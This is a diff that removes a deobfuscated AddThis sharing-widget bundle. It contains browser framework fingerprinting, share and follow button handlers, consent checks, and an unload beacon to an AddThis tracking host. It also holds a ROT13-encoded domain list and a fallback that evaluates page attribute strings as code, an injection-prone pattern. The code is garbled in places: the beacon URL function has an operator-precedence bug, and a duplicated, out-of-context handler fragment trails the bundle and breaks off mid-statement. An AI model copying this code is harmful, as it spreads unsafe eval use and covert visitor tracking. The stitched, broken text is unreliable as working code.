-                    var e = window.MooTools;
-                    return i(e) && i(e.version);
-                },
-                knockout: function e() {
-                    var e = window.ko;
-                    return i(e) && i(e.version);
-                },
-                jquery() {
-                    return (i(window.jQuery) && i(window.jQuery.fn) && i(window.jQuery.fn.jquery)) || (i(window.$) && i(window.$.fn) && i(window.$.fn.jquery));
-                },
-                dojo() {
-                    return i(window.dojo);
-                },
-                meteor() {
-                    return i(window.Meteor);
-                },
-                extjs() {
-                    return i(window.Ext);
-                },
-                yui() {
-                    return i(window.YUI) || i(window.YAHOO);
-                },
-                vue() {
-                    return i(window.Vue);
-                },
-                webpack() {
-                    return i(window.webpackJsonp);
-                },
-                underscore() {
-                    return i(window._) && i(window._.mapObject);
-                },
-                lodash() {
-                    return i(window._) && i(window._.mapValues);
-                },
-                oraclejet() {
-                    return i(window.oj) && i(window.oj.version);
-                },
-                polymer() {
-                    return i(window.Polymer) && i(window.Polymer.version);
-                },
-                d3() {
-                    return i(window.d3) && i(window.d3.version);
-                },
-                cast() {
-                    return i(window.cast) && i(window.cast.framework) && i(window.cast.framework.VERSION);
-                },
-                redux() {
-                    return i(window.Redux);
-                },
-                riot() {
-                    return i(window.riot);
-                },
-                zone() {
-                    return i(window.Zone);
-                },
-                hammer() {
-                    return i(window.Hammer);
-                },
-                spf() {
-                    return i(window.spf);
-                },
-                three() {
-                    return i(window.THREE);
-                },
-                squarespace() {
-                    return i(window.Squarespace);
-                },
-                classie() {
-                    return i(window.classie);
-                },
-                babylon() {
-                    return i(window.BABYLON);
-                },
-                ramda() {
-                    return i(window.R) && i(window.applySpec) && i(window.R.assocPath);
-                },
-                aurelia() {
-                    return a('[aurelia-app]');
-                },
-                prototype() {
-                    return i(window.Prototype) && i(window.Prototype.Version);
-                },
-                googleanalytics() {
-                    return i(window._gaq) || i(window._gat) || i(window.ga) || i(window.GoogleAnalyticsObject);
-                },
-                facebook() {
-                    return i(window.FB) || i(window.fbAsyncInit);
-                },
-                sharethis() {
-                    return i(window.__sharethis__);
-                },
-                addtoany() {
-                    return i(window.a2a_show_dropdown) || i(window.a2a_init);
-                },
-                sumo() {
-                    return i(window.__smLoaded);
-                }
-            };
-            var d = {
-                angular() {
-                    var e = void 0;
-                    return (
-                        i(window.angular) &&
-                        i(window.angular.version) &&
-                        i(window.angular.version.full) &&
-                        'string' == typeof window.angular.version.full &&
-                        (e = window.angular.version.full),
-                        e
-                    );
-                },
-                backbone() {
-                    var e = void 0;
-                    return i(window.Backbone) && i(window.Backbone.VERSION) && 'string' == typeof window.Backbone.VERSION && (e = window.Backbone.VERSION), e;
-                },
-                ember() {
-                    var e = void 0;
-                    return i(window.Ember) && i(window.Ember.VERSION) && 'string' == typeof window.Ember.VERSION && (e = window.Ember.VERSION), e;
-                },
-                react() {
-                    var e = void 0;
-                    return i(window.React) && i(window.React.version) && 'string' == typeof window.React.version && (e = window.React.version), e;
-                },
-                mithril() {
-                    var e = void 0;
-                    return i(window.m) && i(window.m.version) && 'string' == typeof window.m.version && (e = window.m.version), e;
-                },
-                mootools() {
-                    var e = void 0;
-                    return i(window.MooTools) && i(window.MooTools.version) && 'string' == typeof window.MooTools.version && (e = window.MooTools.version), e;
-                },
-                knockout() {
-                    var e = void 0;
-                    return i(window.ko) && i(window.ko.version) && 'string' == typeof window.ko.version && (e = window.ko.version), e;
-                },
-                jquery() {
-                    var e = void 0;
-                    return (
-                        i(window.jQuery) && i(window.jQuery.fn) && i(window.jQuery.fn.jquery) && 'string' == typeof window.jQuery.fn.jquery ?
-                        (e = window.jQuery.fn.jquery) :
-                        i(window.$) && i(window.$.fn) && i(window.$.fn.jquery) && 'string' == typeof window.$.fn.jquery && (e = window.$.fn.jquery),
-                        e
-                    );
-                },
-                dojo() {
-                    var e = void 0;
-                    return (
-                        i(window.dojo) &&
-                        i(window.dojo.version) &&
-                        i(window.dojo.version.major) &&
-                        ((e = window.dojo.version.major),
-                            i(window.dojo.version.minor) &&
-                            ((e = e + '.' + window.dojo.version.minor), i(window.dojo.version.patch) && (e = e + '.' + window.dojo.version.patch)),
-                            i(window.dojo.version.flag) && (e += window.dojo.version.flag)),
-                        e
-                    );
-                },
-                meteor() {
-                    var e = void 0;
-                    return i(window.Meteor) && i(window.Meteor.release) && 'string' == typeof window.Meteor.release && (e = window.Meteor.release), e;
-                },
-                extjs() {
-                    var e = void 0;
-                    return i(window.Ext) && i(window.Ext.version) && 'string' == typeof window.Ext.version && (e = window.Ext.version), e;
-                },
-                yui() {
-                    var e = void 0;
-                    return (
-                        i(window.YUI) && i(window.YUI.version) && 'string' == typeof window.YUI.version ?
-                        (e = window.YUI.version) :
-                        i(window.YAHOO) && i(window.YAHOO.version) && 'string' == typeof window.YAHOO.version && (e = window.YAHOO.version),
-                        e
-                    );
-                },
-                vue() {
-                    var e = void 0;
-                    return i(window.Vue) && i(window.Vue.version) && 'string' == typeof window.Vue.version && (e = window.Vue.version), e;
-                },
-                underscore() {
-                    var e = void 0;
-                    return i(window._) && i(window._.VERSION) && 'string' == typeof window._.VERSION && i(window._.mapObject) && (e = window._.VERSION), e;
-                },
-                lodash() {
-                    var e = void 0;
-                    return i(window._) && i(window._.VERSION) && 'string' == typeof window._.VERSION && i(window._.mapValues) && (e = window._.VERSION), e;
-                },
-                oraclejet() {
-                    var e = void 0;
-                    return i(window.oj) && i(window.oj.version) && 'string' == typeof window.oj.version && (e = window.oj.version), e;
-                },
-                polymer() {
-                    var e = void 0;
-                    return i(window.Polymer) && i(window.Polymer.version) && 'string' == typeof window.Polymer.version && (e = window.Polymer.version), e;
-                },
-                d3() {
-                    var e = void 0;
-                    return i(window.d3) && i(window.d3.version) && 'string' == typeof window.d3.version && (e = window.d3.version), e;
-                },
-                cast() {
-                    var e = void 0;
-                    return i(window.cast) && i(window.cast.framework) && i(window.cast.framework.VERSION) && (e = window.cast.framework.VERSION), e;
-                },
-                hammer() {
-                    var e = void 0;
-                    return i(window.Hammer) && i(window.Hammer.VERSION) && (e = window.Hammer.VERSION), e;
-                },
-                three() {
-                    var e = void 0;
-                    return i(window.THREE) && i(window.THREE.REVISION) && (e = window.THREE.REVISION), e;
-                },
-                prototype() {
-                    var e = window.Prototype.Version;
-                    return e;
-                },
-                googleanalytics() {
-                    var e = 'analytics.js';
-                    return (i(window._gaq) || i(window._gat)) && (e = 'ga.js'), e;
-                }
-            };
-            (t.default = {
-                start() {
-                    !r && (0, o.basicSupport)() && (r = !0);
-                },
-                getParams() {
-                    if (!r) return {};
-                    var e = Object.keys(s).filter((e) => s[e]());
-                    var t = e.map((e) => {
-                        var t = void 0;
-                        return d[e] && (t = d[e]()), t || (t = 'unk'), e + '-' + t;
-                    });
-                    return e.length ? {
-                        jsfw: e,
-                        jsfwv: t
-                    } : {};
-                }
-            }),
-            (e.exports = t.default);
-        },
-        (e, t, n) => {
-            'use strict';
-            function a(e) {
-                return e && e.__esModule ?
-                    e : {
-                        default: e
-                    };
-            }
-            function i() {
-                var e = (0, r.default)();
-                if (!e._hasMountedExpandedMenu) {
-                    e._hasLoadedResources || (0, d.default)();
-                    var t =
-                        void 0 !== window.pageYOffset ?
-                        window.pageYOffset :
-                        document.documentElement ?
-                        document.documentElement.scrollTop :
-                        document.body.scrollTop;
-                    var n = 0.15 * (0, c.default)();
-                    var a = n + t;
-                    var i = document.getElementById('at-expanded-menu-host');
-                    var o = document.querySelector('.at-expanded-menu');
-                    var s = document.querySelector('.at-expanded-menu-close');
-                    var u = () => {
-                        (0, h.default)(i, 'at-expanded-menu-hidden'), f.default.unlisten(s, 'click', u), (u = null);
-                    };
-                    f.default.listen(s, 'click', u), (o.style.top = a + 'px'), (0, g.default)(i, 'at-expanded-menu-hidden');
-                }
-            }
-            Object.defineProperty(t, '__esModule', {
-                    value: !0
-                }),
-                (t.default = i);
-            var o = n(457);
-            var r = a(o);
-            var s = n(381);
-            var d = a(s);
-            var u = n(497);
-            var c = a(u);
-            var l = n(23);
-            var f = a(l);
-            var p = n(341);
-            var h = a(p);
-            var m = n(343);
-            var g = a(m);
-            e.exports = t.default;
-        },
-        (e, t) => {
-            'use strict';
-            function n(e, t) {
-                var n;
-                var a = [];
-                var i = {};
-                var o = Math.min((e.attributes || []).length || 0, 160);
-                var r = t.replace(/:/g, '-');
-                if (isNaN(o)) return i;
-                for (var s = 0; s < o; s++)
-                    if ((n = e.attributes[s])) {
-                        if (((a = n.name.split(t + ':')), !a || 1 === a.length)) {
-                            if (0 !== n.name.indexOf('data-')) continue;
-                            if (((a = n.name.split('data-' + r + '-')), !a || 1 === a.length)) continue;
-                        }
-                        2 === a.length && (i[a.pop()] = n.value);
-                    }
-                return i;
-            }
-            Object.defineProperty(t, '__esModule', {
-                    value: !0
-                }),
-                (t.default = n),
-                (e.exports = t.default);
-        },
-        (e, t, n) => {
-            'use strict';
-            function a(e) {
-                return e && e.__esModule ?
-                    e : {
-                        default: e
-                    };
-            }
-            Object.defineProperty(t, '__esModule', {
-                    value: !0
-                }),
-                (t.contains = void 0);
-            var i = n(624);
-            var o = a(i);
-            var r = n(59);
-            var s = {
-                'svkhl.arg': 1,
-                'uqshyy.gi': 1
-            };
-            t.contains = (e) => !!s[(0, o.default)((0, r.getDomainNoProtocol)(e))];
-        },
-        (e, t) => {
-            'use strict';
-            Object.defineProperty(t, '__esModule', {
-                    value: !0
-                }),
-                (t.default = (e) => e.replace(/[a-zA-Z]/g, (e) => String.fromCharCode((e <= 'Z' ? 90 : 122) >= (e = e.charCodeAt(0) + 13) ? e : e - 26))),
-                (e.exports = t.default);
-        },
-        (e, t, n) => {
-            'use strict';
-            function a(e) {
-                return e && e.__esModule ?
-                    e : {
-                        default: e
-                    };
-            }
-            Object.defineProperty(t, '__esModule', {
-                value: !0
-            });
-            var i = n(626);
-            var o = a(i);
-            (t.default = (e, t, n, a) => {
-                var i = {
-                    conf: t || {},
-                    share: n || {}
-                };
-                return (i.conf = (0, o.default)(e, t, 'conf', a)), (i.share = (0, o.default)(e, n, 'share', a)), i;
-            }),
-            (e.exports = t.default);
-        },
-        (e, t, n) => {
-            'use strict';
-            function a(e) {
-                return e && e.__esModule ?
-                    e : {
-                        default: e
-                    };
-            }
-            Object.defineProperty(t, '__esModule', {
-                value: !0
-            });
-            var i = n(622);
-            var o = a(i);
-            var r = {
-                email_vars: 1,
-                passthrough: 1,
-                modules: 1,
-                templates: 1,
-                services_custom: 1
-            };
-            (t.default = (e, t, n, a) => {
-                var i;
-                var s = t || {};
-                var d = {};
-                var u = (0, o.default)(e, 'addthis');
-                if ('[object Object]' === Object.prototype.toString.call(s) && !s.nodeType)
-                    for (i in s) d[i] = s[i];
-                if (a)
-                    for (i in e[n]) d[i] = e[n][i];
-                for (i in u)
-                    if (u.hasOwnProperty(i)) {
-                        if (s[i] && !a) d[i] = s[i];
-                        else {
-                            var c = u[i];
-                            c ? (d[i] = c) : s[i] && (d[i] = s[i]), 'true' === d[i] ? (d[i] = !0) : 'false' === d[i] && (d[i] = !1);
-                        }
-                        if (void 0 !== d[i] && r[i] && 'string' == typeof d[i])
-                            try {
-                                d[i] = JSON.parse(d[i].replace(/'/g, '"'));
-                            } catch (e) {
-                                d[i] = _ate.evl('(' + d[i] + ');', !0);
-                            }
-                    }
-                return d;
-            }),
-            (e.exports = t.default);
-        },
-        (e, t, n) => {
-            'use strict';
-            function a(e) {
-                return e && e.__esModule ?
-                    e : {
-                        default: e
-                    };
-            }
-            Object.defineProperty(t, '__esModule', {
-                    value: !0
-                }),
-                (t.initialize = void 0);
-            var i = n(625);
-            var o = a(i);
-            var r = document;
-            var s = void 0;
-            t.initialize = (e, t, a) => {
-                s ||
-                    ((s = !0),
-                        (e.button = (e, n, a) => {
-                            (n = n || {}),
-                            n.product || (n.product = 'men-300'),
-                                t(
-                                    e, {
-                                        conf: n,
-                                        share: a
-                                    }, {
-                                        internal: 'img'
-                                    }
-                                );
-                        }),
-                        (e.toolbox = (e, t, i, s, d) => {
-                            for (
-                                var u = _ate.util.select(e),
-                                    c = (e, t, n) => {
-                                        var a = r.ce(e);
-                                        return (a.className = t), n && (a.id = n), a;
-                                    },
-                                    l = (e) => {
-                                        (e.isHovered = 1),
-                                        (e.timeout = setTimeout(() => {
-                                            e.isHovered && (e.getElementsByTagName('ul')[0].style.display = 'block');
-                                        }, 500));
-                                    },
-                                    f = (e) => {
-                                        (e.isHovered = 0),
-                                        e.timeout && clearTimeout(e.timeout),
-                                            (e.timeout = setTimeout(() => {
-                                                e.isHovered || (e.getElementsByTagName('ul')[0].style.display = 'none');
-                                            }, 500));
-                                    },
-                                    p = 0; p < u.length; p++
-                            ) {
-                                var h = u[p];
-                                var m = (0, o.default)(h, t, i, s);
-                                var g = r.ce('div');
-                                var _ = void 0;
-                                if (
-                                    ((h.services = {}),
-                                        h &&
-                                        h.className &&
-                                        (m.conf.product ||
-                                            (m.conf.product =
-                                                'tbx' + (h.className.indexOf('32x32') > -1 ? '32' : h.className.indexOf('20x20') > -1 ? '20' : '') + '-300'),
-                                            h.className.indexOf('peekaboo_style') > -1 &&
-                                            (_atc._ldPkcss ||
-                                                (n.e(213, () => {
-                                                        n(628);
-                                                    }),
-                                                    (_atc._ldPkcss = 1)),
-                                                h.peekaboo || ((h.peekaboo = !0), (h.onmouseover = l.bind(void 0, h)), (h.onmouseout = f.bind(void 0, h)))),
-                                            h.className.indexOf('floating_style') > -1 &&
-                                            (_atc._ldBarcss ||
-                                                (n.e(214, () => {
-                                                        n(630);
-                                                    }),
-                                                    (_atc._ldBarcss = 1)),
-                                                !h.fixed)))
-                                ) {
-                                    h.fixed = !0;
-                                    for (
-                                        var v = c('DIV', 'at-floatingbar-inner'), b = c('DIV', 'at-floatingbar-share'), w = c('DIV', 'addthis_internal_container'); h.childNodes.length > 0;
-                                    )
-                                        w.appendChild(h.firstChild);
-                                    b.appendChild(w), v.appendChild(b), h.appendChild(v);
-                                }
-                                h &&
-                                    h.getElementsByTagName &&
-                                    ((_ = h.getElementsByTagName('a')),
-                                        _ && a(_, m.conf, m.share, !s, !s),
-                                        h.querySelectorAll('.atclear').length < 1 && h.appendChild(g)),
-                                    (g.className = 'atclear');
-                            }
-                        }));
-            };
-        }, , , , ,
-        (e, t, n) => {
-            'use strict';
-            function a(e) {
-                return e && e.__esModule ?
-                    e : {
-                        default: e
-                    };
-            }
-            function i() {
-                var e = document.charset || document.characterSet || document.inputEncoding || document.defaultCharset;
-                if (!e)
-                    for (var t = (0, r.default)(), n = 0; n < t.length && !(e = t[n].getAttribute('charset')); n++);
-                return !e || e.length > 14 ? '' : e;
-            }
-            Object.defineProperty(t, '__esModule', {
-                    value: !0
-                }),
-                (t.default = i);
-            var o = n(588);
-            var r = a(o);
-            e.exports = t.default;
-        },
-        (e, t, n) => {
-            'use strict';
-            function a(e) {
-                return e && e.__esModule ?
-                    e : {
-                        default: e
-                    };
-            }
-            Object.defineProperty(t, '__esModule', {
-                value: !0
-            });
-            var i = n(405);
-            var o = a(i);
-            var r = n(566);
-            var s = a(r);
-            var d = null;
-            var u = {
-                getContainer(...args) {
-                    var e = args.length > 0 && void 0 !== args[0] ? args[0] : document;
-                    return e.getElementById('_atssh') || u.createContainer(e);
-                },
-                createContainer(...args) {
-                    var e = args.length > 0 && void 0 !== args[0] ? args[0] : document,
-                        t = e.createElement('div');
-                    return (t.style.visibility = 'hidden'), (t.id = '_atssh'), (0, o.default)(t), e.body.insertBefore(t, e.body.firstChild), t;
-                },
-                getPostMan() {
-                    return d;
-                },
-                createPostMan(e, t) {
-                    d = new s.default(e, t);
-                }
-            };
-            (t.default = u), (e.exports = t.default);
-        },
-        (e, t) => {
-            e.exports = (e, t, n, a, i) => {
-                var o = window.document.createElement('span');
-                var r = window.document.createElement('div');
-                (r.className = n),
-                void 0 !== i && (r.style.width = i),
-                    void 0 !== a ? (r.style.height = a) : (r.style.height = '25px'),
-                    'string' == typeof t ? (o.innerHTML = t) : o.appendChild(t),
-                    r.appendChild(o),
-                    e.appendChild(r);
-            };
-        },
-        (e, t, n) => {
-            function a() {
-                var e = window.document.createElement('a');
-                return (e['data-pinit-do'] = 'buttonBookmark'), (e.href = 'https://www.pinterest.com/pin/create/button/'), e;
-            }
-            var i = n(634);
-            var o = n(397);
-            var r = '//assets.pinterest.com/js/pinit.js';
-            e.exports = (e) => {
-                i(e, a(), 'pin_it_iframe_widget'), o(r, !0, !0, void 0, window.document.body);
-            };
-        },
-        (e, t, n) => {
-            var a = n(73);
-            var i = n(74);
-            var o = n(75);
-            var r = n(637);
-            e.exports = (e) => void 0 !== a[e] || void 0 !== i[e] || void 0 !== o[e] || void 0 !== r[e];
-        },
-        (e, t) => {
-            e.exports = {
-                amazonsmile: {
-                    name: 'Amazon Smile'
-                },
-                cashme: {
-                    name: 'Cash.me'
-                },
-                patreon: {},
-                paypalme: {
-                    name: 'Paypal.Me'
-                },
-                venmo: {}
-            };
-        },
-        (e, t, n) => {
-            var a = n(357).getObjectWithProp;
-            var i = {
-                'mail.google.com': 'gmail',
-                'mail.yahoo.com': 'yahoomail',
-                'mail.aol.com': 'aolmail',
-                'mail.live.com': 'hotmail'
-            };
-            e.exports = (e) => ((e = e.split('.').slice(-3).join('.')), i[e] ? i[e] : ((e = e.split('.').slice(-2).shift()), a('name')[e] ? e : ''));
-        },
-        (e, t, n) => {
-            'use strict';
-            function a(e) {
-                return e && e.__esModule ?
-                    e : {
-                        default: e
-                    };
-            }
-            function i(e, t) {
-                var n = arguments.length > 2 && void 0 !== arguments[2] ? arguments[2] : _ate.ed;
-                var a = r.default.getContainer();
-                var i = a.firstElementChild;
-                i || c.default.error('Could not find the sh frame!'),
-                    d.default.rescan(),
-                    (window.addthis_share = window.addthis_share || {}),
-                    (window.addthis_share.url = 'string' == typeof e && e.length > 0 ? e : d.default.du),
-                    (window.addthis_share.title = 'string' == typeof t ? t : d.default.title),
-                    (_ate.du = (0, l.truncateURL)(d.default.du));
-                var o = Date.now();
-                if (o - C > 500) {
-                    var s = g.default.getLojsonRequestObject();
-                    if (!w.default.object(s)) return;
-                    var u = (0, y.default)(window.location.href);
-                    var p = (0, h.default)(s, {
-                        dp: u.domain,
-                        dr: s.dp,
-                        fp: (0, l.truncateURL)(u.path, 'fp', 500),
-                        fr: s.fp,
-                        colc: new Date().getTime()
-                    });
-                    g.default.setLojsonRequestObject(p),
-                        (0, v.default)(p, {
-                            onLoad(e) {
-                                if (void 0 === s || void 0 === s.bkl || 1 !== s.bkl) {
-                                    var t = e['pro-config'] || {};
-                                    _ate.ed.fire('addthis.lojson.response', null, {
-                                        bt2: e.bt2,
-                                        loc: e.loc,
-                                        config: t._default ? t : null,
-                                        pro: e.pro || !1,
-                                        perConfig: e['per-config'] || {},
-                                        subscription: e.subscription,
-                                        customMessages: e.customMessages
-                                    });
-                                }
-                            },
-                            onError(e) {
-                                console.log(e);
-                            },
-                            onDataError(e) {
-                                console.log(e);
-                            }
-                        }),
-                        (C = o);
-                    var m = i.src;
-                    a.removeChild(i), (_ate.sid = (0, f.makeCUID)());
-                    var _ = _ate.track.ctf();
-                    (_.src = m.replace(/sid\=[a-zA-Z0-9]+/, 'sid=' + _ate.sid)),
-                    a.appendChild(_),
-                        r.default.createPostMan(_, _.src),
-                        (0, k.refreshCallLayers)();
-                }
-                n.fire('addthis.layers.refresh', null, null, !0);
-            }
-            Object.defineProperty(t, '__esModule', {
-                    value: !0
-                }),
-                (t.default = i);
-            var o = n(633);
-            var r = a(o);
-            var s = n(64);
-            var d = a(s);
-            var u = n(13);
-            var c = a(u);
-            var l = n(577);
-            var f = n(60);
-            var p = n(8);
-            var h = a(p);
-            var m = n(30);
-            var g = a(m);
-            var _ = n(640);
-            var v = a(_);
-            var b = n(11);
-            var w = a(b);
-            var x = n(599);
-            var y = a(x);
-            var k = n(641);
-            var C = Date.now();
-            e.exports = t.default;
-        },
-        (e, t, n) => {
-            'use strict';
-            function a(e) {
-                return e && e.__esModule ?
-                    e : {
-                        default: e
-                    };
-            }
-            function i(e, t) {
-                r.default.onLoad(t.onLoad).onError(t.onError).onDataError(t.onDataError).go(e);
-            }
-            Object.defineProperty(t, '__esModule', {
-                    value: !0
-                }),
-                (t.default = i);
-            var o = n(602);
-            var r = a(o);
-            e.exports = t.default;
-        },
-        (e, t, n) => {
-            'use strict';
-            function a(e) {
-                return e && e.__esModule ?
-                    e : {
-                        default: e
-                    };
-            }
-            function i() {
-                if (void 0 !== d.default && void 0 !== d.default.getLayersConfig) {
-                    var e = d.default.getLayersConfig();
-                    if (e) {
-                        var t = (0, r.default)({
-                                cfs: 1
-                            },
-                            e
-                        );
-                        void 0 !== t &&
-                            void 0 !== t._default &&
-                            void 0 !== t._default.widgets &&
-                            void 0 !== t._default.widgets.shfs &&
-                            delete t._default.widgets.shfs,
-                            void 0 !== window && void 0 !== window.addthis && void 0 !== window.addthis.layers && window.addthis.layers(t);
-                    }
-                }
-            }
-            Object.defineProperty(t, '__esModule', {
-                    value: !0
-                }),
-                (t.refreshCallLayers = i);
-            var o = n(8);
-            var r = a(o);
-            var s = n(30);
-            var d = a(s);
-        },
-        (e, t, n) => {
-            'use strict';
-            function a(e) {
-                return e && e.__esModule ?
-                    e : {
-                        default: e
-                    };
-            }
-            function i(e) {
-                var t = e.lojsonData;
-                var n = e.setBlacklisted;
-                var a = e.blacklisted;
-                var i = e.isBlacklisted;
-                var o = e.renderCodeOnPage;
-                var r = e.callBoost;
-                var s = e.initializeAT3Tools;
-                m.default.setLojsonRequestObject(t),
-                    (0, u.default)(t, {
-                        onLoad(e) {
-                            if ((n(e.blk || a), !i())) {
-                                var t = e['pro-config'] || {};
-                                _ate.ed.fire('addthis.lojson.response', null, {
-                                        bt2: e.bt2,
-                                        loc: e.loc,
-                                        config: t._default ? t : null,
-                                        pro: e.pro || !1,
-                                        perConfig: e['per-config'] || {},
-                                        subscription: e.subscription,
-                                        customMessages: e.customMessages
-                                    }),
-                                    _ate.ed.after('addthis-internal.frame.ready', () => {
-                                        l.default.getPostMan().post(
-                                                JSON.stringify({
-                                                    remoteEvent: 'addthis.lojson.response',
-                                                    data: e
-                                                })
-                                            ),
-                                            r || o(),
-                                            s();
-                                    });
-                            }
-                        },
-                        onError(e) {
-                            console.error(e);
-                        },
-                        onDataError(e) {
-                            console.error(e);
-                        }
-                    });
-            }
-            function o(e) {
-                var t = 464;
-                var n = 385;
-                __cmp('getVendorConsents', [n, t], (t, n) => {
-                    if (n) {
-                        var a = e.lojsonData;
-                        return (a.gdpr = t.gdprApplies ? 1 : 0), a.gdpr ? void r(t, e) : void i(e);
-                    }
-                });
-            }
-            function r(e, t) {
-                var n = t.lojsonData;
-                var a = p.default.read('euconsent');
-                var o = Object.keys(e.purposeConsents)
-                    .filter((t) => parseInt(t) <= 4 && e.purposeConsents[t])
-                    .sort((e, t) => parseInt(e) - parseInt(t))
-                    .join();
-                (n.gdpr_consent = a), (n.cp = o), i(t);
-            }
-            function s(e) {
-                var t = !!window && !!window.__cmp && '[object Function]' === Object.prototype.toString.call(window.__cmp);
-                t ? o(e) : i(e);
-            }
-            var d = n(640);
-            var u = a(d);
-            var c = n(633);
-            var l = a(c);
-            var f = n(48);
-            var p = a(f);
-            var h = n(30);
-            var m = a(h);
-            e.exports = s;
-        },
-        (e, t, n) => {
-            'use strict';
-            function a(e) {
-                return e && e.__esModule ?
-                    e : {
-                        default: e
-                    };
-            }
-            function i(e, t) {
-                return (
-                    (e[t] = e[t] || {}),
-                    (n, a) => {
-                        var i = a.toString();
-                        var o = (0, d.default)(i);
-                        var s = e[t][o];
-                        return s ? !(0, r.default)(s, n) && (s.push(n), a(), !0) : ((e[t][o] = [n]), a(), !0);
-                    }
-                );
-            }
-            Object.defineProperty(t, '__esModule', {
-                    value: !0
-                }),
-                (t.default = i);
-            var o = n(509);
-            var r = a(o);
-            var s = n(366);
-            var d = a(s);
-            e.exports = t.default;
-        },
-        (e, t, n) => {
-            'use strict';
-            function a(e) {
-                return e && e.__esModule ?
-                    e : {
-                        default: e
-                    };
-            }
-            Object.defineProperty(t, '__esModule', {
-                value: !0
-            });
-            var i = n(390);
-            var o = a(i);
-            var r = n(496);
-            var s = a(r);
-            var d = n(64);
-            var u = a(d);
-            var c = n(403);
-            var l = a(c);
-            var f = n(534);
-            var p = a(f);
-            var h = (e, t, n) => {
-                if (e)
-                    var a = setInterval(() => {
-                        e.closed && (clearInterval(a), t && 'function' == typeof t && t(n));
-                    }, 100);
-            };
-            var m = (e) => {
-                var t = void 0;
-                switch (e) {
-                    case 'wordpress':
-                        t = 'blog';
-                        break;
-                    default:
-                        t = 'user';
-                }
-                return t;
-            };
-            var g = (e) => Array.prototype.slice.call(e);
-            var _ = (e) => {
-                var t = e.type,
-                    n = e.buttonSelector,
-                    a = e.click,
-                    i = e.close,
-                    r = e.product,
-                    d = e.element,
-                    c = void 0 === d ? document : d;
-                if ('string' != typeof n && a && 'function' != typeof a && i && 'function' != typeof i) throw new Error('Bad Options');
-                p.default.addPCO(r);
-                var f = (e) => {
-                    var n = e.target,
-                        d = g(n.attributes)
-                        .map((e) => [e.name, e])
-                        .reduce((e, t) => ((e[t[0]] = t[1].value), e), {});
-                    u.default.rescan();
-                    var c = d['data-service'],
-                        f = d['data-title'] || window.addthis_share.title || u.default.title,
-                        p = d['data-url'] || window.addthis_share.url || u.default.du,
-                        _ = d['data-description'] || window.addthis_share.description,
-                        v = d['data-media'] || window.addthis_share.media,
-                        b = d['data-username'],
-                        w = d['data-usertype'] || m(c),
-                        x = void 0;
-                    window.addthis_config && (x = (0, l.default)(window.addthis_config));
-                    var y = void 0;
-                    window.addthis_share && (y = (0, l.default)(window.addthis_share));
-                    var k = void 0,
-                        C = {};
-                    switch (t) {
-                        case 'share':
-                            (C = {
-                                service: c,
-                                media: v,
-                                url: p,
-                                title: f,
-                                description: _
-                            }),
-                            (k = (0, o.default)(c, {
-                                media: v,
-                                url: p,
-                                title: f,
-                                description: _,
-                                product: r
-                            }));
-                            break;
-                        case 'follow':
-                            (C = {
-                                service: c,
-                                username: b,
-                                usertype: w
-                            }),
-                            (k = (0, s.default)(
-                                c, {
-                                    id: b,
-                                    userType: w
-                                },
-                                r,
-                                x,
-                                y
-                            ));
-                    }
-                    h(k, i, C), a && a(C);
-                };
-                g(c.querySelectorAll(n)).forEach((e) => e.addEventListener('click', f));
-            };
-            (t.default = (e) => {
-                (e.shareButton = function(...args) {
-                    var t = args.length > 0 && void 0 !== args[0] ? args[0] : {};
-                    return (
-                        (t.element = document),
-                        (t.buttonSelector = t.button_selector || '.addthis_share_button'),
-                        (t.type = 'share'),
-                        (t.product = 'sbapi'),
-                        _(t),
-                        e
-                    );
-                }),
-                (e.followButton = function(...args) {
-                    var t = args.length > 0 && void 0 !== args[0] ? args[0] : {};
-                    return (
-                        (t.element = document),
-                        (t.buttonSelector = t.button_selector || '.addthis_follow_button'),
-                        (t.type = 'follow'),
-                        (t.product = 'fbapi'),
-                        _(t),
-                        e
-                    );
-                }),
-                (e.share = function(...args) {
-                    var t = args.length > 0 && void 0 !== args[0] ? args[0] : {};
-                    var n = t.container_selector || '.addthis_share';
-                    var a = t.button_selector || '.addthis_share_button';
-                    var i = t.click;
-                    var o = t.close;
-                    if ('string' != typeof n) throw new Error('Bad Options');
-                    return (
-                        g(document.querySelectorAll(n)).map((e) => {
-                            (t.element = e),
-                            _({
-                                element: e,
-                                click: i,
-                                close: o,
-                                buttonSelector: a,
-                                type: 'share',
-                                product: 'sapi'
-                            });
-                        }),
-                        e
-                    );
-                }),
-                (e.follow = function(...args) {
-                    var t = args.length > 0 && void 0 !== args[0] ? args[0] : {};
-                    var n = t.container_selector || '.addthis_follow';
-                    var a = t.button_selector || '.addthis_follow_button';
-                    var i = t.click;
-                    var o = t.close;
-                    if ('string' != typeof n) throw new Error('Bad Options');
-                    return (
-                        g(document.querySelectorAll(n)).map((e) => {
-                            (t.element = e),
-                            _({
-                                element: e,
-                                click: i,
-                                close: o,
-                                buttonSelector: a,
-                                type: 'follow',
-                                product: 'fapi'
-                            });
-                        }),
-                        e
-                    );
-                });
-            }),
-            (e.exports = t.default);
-        },
-        (e, t, n) => {
-            'use strict';
-            function a() {
-                return r + '?rev=' + window._atc.rev + '&c=' + $__$.serialize() + '&pub=' + o() + '&device=' + !1 ? 'mobile' : 'desktop';
-            }
-            var i = n(23).listen;
-            var o = n(55);
-            var r = 'https://v1.addthisedge.com/live/jse';
-            'undefined' != typeof $__$ &&
-                (window.navigator.sendBeacon ?
-                    i(window, 'beforeunload', () => {
-                        navigator.sendBeacon(a(), '{}');
-                    }) :
-                    setTimeout(() => {
-                        var e = new Image();
-                        e.src = a();
-                    }, 25e3));
-        }
-    ])
-);
-var t = e.type,
-    n = e.buttonSelector,
-    a = e.click,
-    i = e.close,
-    r = e.product,
-    d = e.element,
-    c = void 0 === d ? document : d;
-if ('string' != typeof n && a && 'function' != typeof a && i && 'function' != typeof i) throw new Error('Bad Options');
-p.default.addPCO(r);
-var f = (e) => {
-    var n = e.target,
-        d = g(n.attributes)
-        .map((e) => [e.name, e])
-        .reduce((e, t) => ((e[t[0]] = t[1].value), e), {});
-    u.default.rescan();
-    var c = d['data-service'],
-        f = d['data-title'] || window.addthis_share.title || u.default.title,
-        p = d['data-url'] || window.addthis_share.url || u.default.du,
-        _ = d['data-description'] || window.addthis_share.description,
-        v = d['data-media'] || window.addthis_share.media,
-        b = d['data-username'],
-        w = d['data-usertype'] || m(c),
-        x = void 0;
-    window.addthis_config && (x = (0, l.default)(window.addthis_config));
-    var y = void 0;
-    window.addthis_share && (y = (0, l.default)(window.addthis_share));
-    var k = void 0,
-        C = {};
-    switch (t) {
-        case 'share':
-            (C = {
-                service: c,
-                media: v,
-                url: p,
-                title: f,
